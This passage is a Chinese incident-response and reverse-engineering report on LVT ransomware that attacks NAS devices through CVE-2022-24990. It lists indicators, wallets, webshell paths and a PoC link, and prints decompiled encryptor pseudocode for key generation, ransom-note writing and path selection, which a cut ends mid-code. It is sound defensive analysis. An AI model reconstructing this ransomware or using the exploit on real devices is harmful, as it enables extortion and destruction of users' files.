文章总结： LVT勒索病毒针对国内某知名NAS设备，利用CVE-2022-24990漏洞入侵并加密用户文件。该病毒使用ECC和RSA加密算法，即使支付赎金也无法恢复文件，因为黑客提供的解密密钥是错误的。文章详细分析了病毒的加密机制、解密过程，并通过逆向分析找到了解密方法。最后提供了安全建议和数据恢复服务，包括资产排查、安全设备调优和安全意识培训等措施。
综合评分： 87
文章分类： 恶意软件,漏洞分析,应急响应,逆向分析,漏洞预警

【病毒分析】交了赎金也无法恢复–针对国内某知名NAS的LVT勒索病毒最新分析

原创

索勒安全团队

solar应急响应团队

2024年3月6日 14:36
山东

1.背景

1.1来源

接到客户通知发现NAS遭到勒索病毒攻击，其中的文件无法打开并且被添加了lvt后缀。经排查该次勒索攻击是一款名为LvtLocker的勒索软件所为，而该勒索软件的攻击目标主要是国内某知名的NAS设备系统。

1.2入侵路线图

2.溯源分析

2.1查看日志

远程访问客户中招服务器，通过排查NAS web日志，默认SSH端口为9222，登录用户名为root，密码与web端admin用户相同。

查看nginx日志 /var/log/nginx/access.log可以发现在2024年3月1日黑客利用CVE-2022-24990漏洞远程下载木马、添加执行权限并执行的行为。

2.2排查异常文件

查看NAS web路径: /usr/www/，发现该系统在2023年就遭受过非勒索团伙的攻击，发现了遗留的webshell。

webshell地址

/usr/www/my.php
/usr/www/include/dwz.php

最终通过在web目录中查找ELF文件发现加密器路径。

/usr/www/module/tnasupdate

2.3漏洞验证

漏洞名称：任意命令执行漏洞（CVE-2022-24990）

POC：https://github.com/lishang520/CVE-2022-24990/tree/main

验证结果：存在漏洞

2.4钱包溯源

通过区块链浏览器查看勒索信中的黑客钱包地址。

3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt

查看该地址的交易记录，可得出结论：黑客每次进行勒索的金额为0.01BTC(约为4927元)，一共完成7次与受害者的交易，其中最早的交易可追溯到2024年2月23日。

最终在2024年2月29日黑客将所有BTC转入新地址。

&nbsp;1LLh7KvmjmJuEELxSN2PKQKEywt6FfrfYi

后续有受害者尝试通过邮箱联系黑客，但均未得到答复，期间新地址钱包的BTC被转出，怀疑黑客已跑路。

3.恶意文件基础信息

3.1加密器基本信息

| 文件名 | lvt勒索病毒加密器 |
| — | — |
| 编译器 | GO |
| 大小 | 2330624(2.22 MiB) |
| 操作系统 | Unix |
| 架构 | 386 |
| 模式 | 32 位 |
| 类型 | EXEC |
| 字节序 | LE |
| MD5 | 349dd0a75d5cebe1d3ffd620bca4ff7f |
| SHA1 | 2a56190a0ee07f989c1e752a954674bc77c1b85e |
| SHA256 | cd729507d2e17aea23a56a56e0c593214dbda4197e8a353abe4ed0c5fbc4799c |

3.2解密器基本信息

客户向黑客支付赎金后提供的解密器

| 文件名 | lvt解密器-d_nas_win.exe |
| — | — |
| 编译器 | GO |
| 大小 | 2336768(2.23 MiB) |
| 操作系统 | Windows |
| 架构 | AMD64 |
| 模式 | 64 位 |
| 类型 | 控制台 |
| 字节序 | LE |
| MD5 | 0d3d9522bdb4fe4bfdc071f1918b095e |
| SHA1 | d497fab04c4254b685c92f4d35f7eed92e5dda9c |
| SHA256 | 2fc9dfaa373d867eb9932a9d428599af7453da3f902ee85b5cf961e72004ae6b |

3.3勒索信

--------------- Hello ---------------

 *** By LVT LOCKER ***

Your computers and servers are encrypted, and backups are deleted.
We use strong encryption algorithms, so no one has yet been able to decrypt their files without our participation.

The only way to decrypt your files is to purchase a universal decoder from us, which will restore all the encrypted data and your network.

Follow our instructions below, and you will recover all your data:

1) Pay 0.01 bitcoin to 3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt
2) Send us message with transaction id and your personal key (which is in the README_lvt_PersonalKey.txt file) to [email protected]
3) Launch decryptor.exe, which our supportor will send you through email

What guarantees?
------------------
We value our reputation. If we will not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is tested by time and will decrypt all your data.
------------------

!!! DO NOT TRY TO RECOVER ANY FILES YOURSELF. WE WILL NOT BE ABLE TO RESTORE THEM!!!

3.4其他注意事项

分析的样本中加密器与解密器不配套，但patch部分数据后即可搭配使用，后文将详细解释。

4.加密后文件分析

加密的测试文件为1.txt,具体内容如下：

经过lvt勒索病毒加密器加密之后如下：

文件的大小增加了38Byte，经过多次实验结果仍然相同。

5.逆向分析

5.1 加密器逆向分析

加密器使用方法为./lvt勒索病毒加密器 [path to be encrypted]

5.1.1 main_generateKeysAndSendPrivateKey函数

main_generateKeysAndSendPrivateKey在main_main函数开始时被调用，用于生成ecc私钥并使用rsa公钥进行加密。

程序中内置的RSA公钥如下

程序首先利用crypto/rand生成Elliptic Curve Cryptography（下文简称为ecc）的私钥，由于crypto/rand调用了系统底层函数进行初始化，不可预测。

crypto/rand使用操作系统提供的底层熵源（entropy source）来生成随机数。在Linux和Unix系统上，它通常使用/dev/urandom或类似的机制，而在Windows上，它使用CryptGenRandom API。这些底层机制都旨在提供足够的熵，使得生成的随机数在理论上难以预测。

生成的ecc私钥利用内置的rsa公钥进行加密，在rsa加密时使用了PKCS#1 v1.5填充协议，导致对于同一数据加密后的结果不同。

最后main_generateKeysAndSendPrivateKey函数返回加密后的ecc私钥，下述代码仅保留了关键逻辑。

retval_8179D20&nbsp;__golang&nbsp;main_generateKeysAndSendPrivateKey()
{
&nbsp;&nbsp;ecc_private.ptr&nbsp;=&nbsp;(uint8&nbsp;*)runtime_newobject((int)&RTYPE__32_uint8);
&nbsp;&nbsp;*(_OWORD&nbsp;*)((char&nbsp;*)&v18&nbsp;-&nbsp;4)&nbsp;=&nbsp;io_ReadAtLeast(no,&nbsp;rand_reader,&nbsp;(int)ecc_private.ptr,&nbsp;32,&nbsp;32,&nbsp;32);
&nbsp;&nbsp;ecc_private1.ptr&nbsp;=&nbsp;ecc_private.ptr;
&nbsp;&nbsp;LODWORD(v16)&nbsp;=&nbsp;golang_org_x_crypto_curve25519_scalarBaseMult((int)v20,&nbsp;ecc_private1);
&nbsp;&nbsp;v14&nbsp;=&nbsp;runtime_stringtoslicebyte(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(int)v21,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(int)"-----BEGIN&nbsp;PUBLIC&nbsp;KEY-----\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7KmV+4LWc4oI5ngkOSAg\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"dUmX7/4cOmgEUnu0463BN1PcQ6OowOrneReJKt3/bEqc1nmPY9Z3nUH8dmF7kFpb\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"lHiSQLh0lFB55SYxrFsugtVEOO4Zo9zWM/2lpjqhhqhTAJx8TV76aLdxbQzztnms\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"CFYqPesy+R5ing2PmUE5jcMh9/4MYbGQ/l5WVqgpXs8kUphPCZSRQSEbIGZ1AAia\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"56ovyiKbOjXTg8do/LEdajGRYLYG+BMaXeEjq4Xss3HmyIrRmTeaqvB7vOCniry4\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"pZ4PPEM1wk0w79LF5bssGm+Dq1MpyUOVlBcz9dS4IthwAWTKOW8vUy27l18/K7qC\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"pwIDAQAB\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-----END&nbsp;PUBLIC&nbsp;KEY-----\n",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;451);
&nbsp;&nbsp;v15&nbsp;=&nbsp;encoding_pem_Decode(v14,&nbsp;v16);
&nbsp;&nbsp;LODWORD(v15)&nbsp;=&nbsp;crypto_x509_ParsePKIXPublicKey(*(_DWORD&nbsp;*)(v15&nbsp;+&nbsp;12),&nbsp;*(_DWORD&nbsp;*)(v15&nbsp;+&nbsp;16),&nbsp;*(_DWORD&nbsp;*)(v15&nbsp;+&nbsp;20));
&nbsp;&nbsp;v17&nbsp;=&nbsp;crypto_rsa_EncryptPKCS1v15(no,&nbsp;rand_reader,&nbsp;SDWORD1(v15),&nbsp;(int)ecc_private.ptr,&nbsp;32,&nbsp;32);

5.1.2 main_main函数

首先判断用户输入的参数是否为2个，如果用户输入的参数不为两个，则输出提示信息。

if(用户输入个数==2)
&nbsp;&nbsp;&nbsp;&nbsp;do_something;
else
{
&nbsp;&nbsp;&nbsp;&nbsp;v38&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;v39&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!dword_828063C&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runtime_panicIndex(0);
&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;runtime_convTstring(*(_DWORD&nbsp;*)dword_8280638,&nbsp;*(_DWORD&nbsp;*)(dword_8280638&nbsp;+&nbsp;4));
&nbsp;&nbsp;&nbsp;&nbsp;v38&nbsp;=&nbsp;(int)&RTYPE_string;
&nbsp;&nbsp;&nbsp;&nbsp;v39&nbsp;=&nbsp;v13;
&nbsp;&nbsp;&nbsp;&nbsp;fmt_Fprintf((int)&off_81D2D64,&nbsp;dword_8280408,&nbsp;(int)"%s&nbsp;[path&nbsp;to&nbsp;be&nbsp;encrypted]\n",&nbsp;26,&nbsp;(int)&v38,&nbsp;1,&nbsp;1);
}

首先判断了用户是否拥有root权限，如果用户拥有root权限，则从系统根目录进行加密，如果用户没有root权限，则用用户输入的路径进行加密。

if&nbsp;(&nbsp;*(_DWORD&nbsp;*)(dword_8280638&nbsp;+&nbsp;12)&nbsp;==&nbsp;10
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&&&nbsp;runtime_memequal(*(_DWORD&nbsp;*)(dword_8280638&nbsp;+&nbsp;8),&nbsp;(int)"linux_root",&nbsp;10)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;encode_path_len&nbsp;=&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;encode_path&nbsp;=&nbsp;"/";
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;(unsigned&nbsp;int)dword_828063C&nbsp;<=&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runtime_panicIndex(dword_828063C);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;encode_path&nbsp;=&nbsp;*(const&nbsp;char&nbsp;**)(dword_8280638&nbsp;+&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;encode_path_len&nbsp;=&nbsp;*(_DWORD&nbsp;*)(dword_8280638&nbsp;+&nbsp;12);
&nbsp;&nbsp;&nbsp;&nbsp;}

释放勒索信，勒索信硬编码在程序中，写入文件README_lvt.txt

v12.ptr&nbsp;=&nbsp;(uint8&nbsp;*)runtime_stringtoslicebyte(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(int)v34,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(int)"---------------&nbsp;Hello&nbsp;---------------\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&nbsp;***&nbsp;By&nbsp;LVT&nbsp;LOCKER&nbsp;***\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"Your&nbsp;computers&nbsp;and&nbsp;servers&nbsp;are&nbsp;encrypted,&nbsp;and&nbsp;backups&nbsp;are&nbsp;deleted.\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"We&nbsp;use&nbsp;strong&nbsp;encryption&nbsp;algorithms,&nbsp;so&nbsp;no&nbsp;one&nbsp;has&nbsp;yet&nbsp;been&nbsp;able&nbsp;to&nbsp;decrypt&nbsp;their&nbsp;files&nbsp;wi"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"thout&nbsp;our&nbsp;participation.\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"The&nbsp;only&nbsp;way&nbsp;to&nbsp;decrypt&nbsp;your&nbsp;files&nbsp;is&nbsp;to&nbsp;purchase&nbsp;a&nbsp;universal&nbsp;decoder&nbsp;from&nbsp;us,&nbsp;which&nbsp;will&nbsp;"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"restore&nbsp;all&nbsp;the&nbsp;encrypted&nbsp;data&nbsp;and&nbsp;your&nbsp;network.\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"Follow&nbsp;our&nbsp;instructions&nbsp;below,&nbsp;and&nbsp;you&nbsp;will&nbsp;recover&nbsp;all&nbsp;your&nbsp;data:\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"1)&nbsp;Pay&nbsp;0.01&nbsp;bitcoin&nbsp;to&nbsp;3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"2)&nbsp;Send&nbsp;us&nbsp;message&nbsp;with&nbsp;transaction&nbsp;id&nbsp;and&nbsp;your&nbsp;personal&nbsp;key&nbsp;(which&nbsp;is&nbsp;in&nbsp;the&nbsp;README_lvt_P"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"ersonalKey.txt&nbsp;file)&nbsp;to&nbsp;[email protected]\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"3)&nbsp;Launch&nbsp;decryptor.exe,&nbsp;which&nbsp;our&nbsp;support&nbsp;will&nbsp;send&nbsp;you&nbsp;through&nbsp;email\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"What&nbsp;guarantees?\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"------------------\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"We&nbsp;value&nbsp;our&nbsp;reputation.&nbsp;If&nbsp;we&nbsp;will&nbsp;not&nbsp;do&nbsp;our&nbsp;work&nbsp;and&nbsp;liabilities,&nbsp;nobody&nbsp;will&nbsp;pay&nbsp;us.&nbsp;T"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"his&nbsp;is&nbsp;not&nbsp;in&nbsp;our&nbsp;interests.\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"All&nbsp;our&nbsp;decryption&nbsp;software&nbsp;is&nbsp;tested&nbsp;by&nbsp;time&nbsp;and&nbsp;will&nbsp;decrypt&nbsp;all&nbsp;your&nbsp;data.\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"------------------\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"\n"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"!!!&nbsp;DO&nbsp;NOT&nbsp;TRY&nbsp;TO&nbsp;RECOVER&nbsp;ANY&nbsp;FILES&nbsp;YOURSELF.&nbsp;WE&nbsp;WILL&nbsp;NOT&nbsp;BE&nbsp;ABLE&nbsp;TO&nbsp;RESTORE&nbsp;THEM!!!",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1055);
&nbsp;&nbsp;&nbsp;&nbsp;*(_QWORD&nbsp;*)&v12.len&nbsp;=&nbsp;v19;
&nbsp;&nbsp;&nbsp;&nbsp;os_WriteFile((int)"./README_lvt.txt",&nbsp;16,&nbsp;v12,&nbsp;511);

对main_generateKeysAndSendPrivateKey返回的数据进行hex encode写入文件README_lvt_PersonalKey.txt

。v4&nbsp;=&nbsp;runtime_makeslice((int)RTYPE_uint8,&nbsp;2&nbsp;*&nbsp;v28,&nbsp;2&nbsp;*&nbsp;v28);
&nbsp;&nbsp;&nbsp;&nbsp;v5&nbsp;=&nbsp;2&nbsp;*&nbsp;v28;
&nbsp;&nbsp;&nbsp;&nbsp;v6&nbsp;=&nbsp;KeysAndSendPrivateKey;
&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;v28;
&nbsp;&nbsp;&nbsp;&nbsp;v8&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;v9&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;v8&nbsp;<&nbsp;v7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v25&nbsp;=&nbsp;*(_BYTE&nbsp;*)(v8&nbsp;+&nbsp;v6);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v9&nbsp;>=&nbsp;v5&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runtime_panicIndex(v5);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(_BYTE&nbsp;*)(v4&nbsp;+&nbsp;v9)&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a0123456789abcd[v25&nbsp;>>&nbsp;4];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v5&nbsp;<=&nbsp;v9&nbsp;+&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runtime_panicIndex(v5);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(_BYTE&nbsp;*)(v9&nbsp;+&nbsp;v4&nbsp;+&nbsp;1)&nbsp;=&nbsp;a0123456789abcd[v25&nbsp;&&nbsp;0xF];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++v8;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v9&nbsp;+=&nbsp;2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v6&nbsp;=&nbsp;KeysAndSendPrivateKey;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;v28;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;v26&nbsp;=&nbsp;2&nbsp;*&nbsp;v31;
&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;=&nbsp;runtime_slicebytetostring((int)v33,&nbsp;v4,&nbsp;v5);
&nbsp;&nbsp;&nbsp;&nbsp;v14.ptr&nbsp;=&nbsp;(uint8&nbsp;*)runtime_stringtoslicebyte((int)v32,&nbsp;v16,&nbsp;v20);
&nbsp;&nbsp;&nbsp;&nbsp;*(_QWORD&nbsp;*)&v14.len&nbsp;=&nbsp;v20;
&nbsp;&nbsp;&nbsp;&nbsp;os_WriteFile((int)"./README_lvt_PersonalKey.txt",&nbsp;28,&nbsp;v14,&nbsp;511);
.rodata:081A01D2&nbsp;a0123456789abcd&nbsp;db&nbsp;'0123456789abcdef'

最后调用path_filepath_Walk对文件夹进行加密。

5.1.3 main_main_func1函数

即使加密的为根目录，勒索软件还是对一些系统关键目录与关键文件进行了规避。

&nbsp;if&nbsp;(&nbsp;strings_Index(v27,&nbsp;v31,&nbsp;(int)"/proc",&nbsp;5)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)"/boot",&nbsp;5)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)"/sys",&nbsp;4)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)"/run",&nbsp;4)&nbsp;>=&nbsp;0
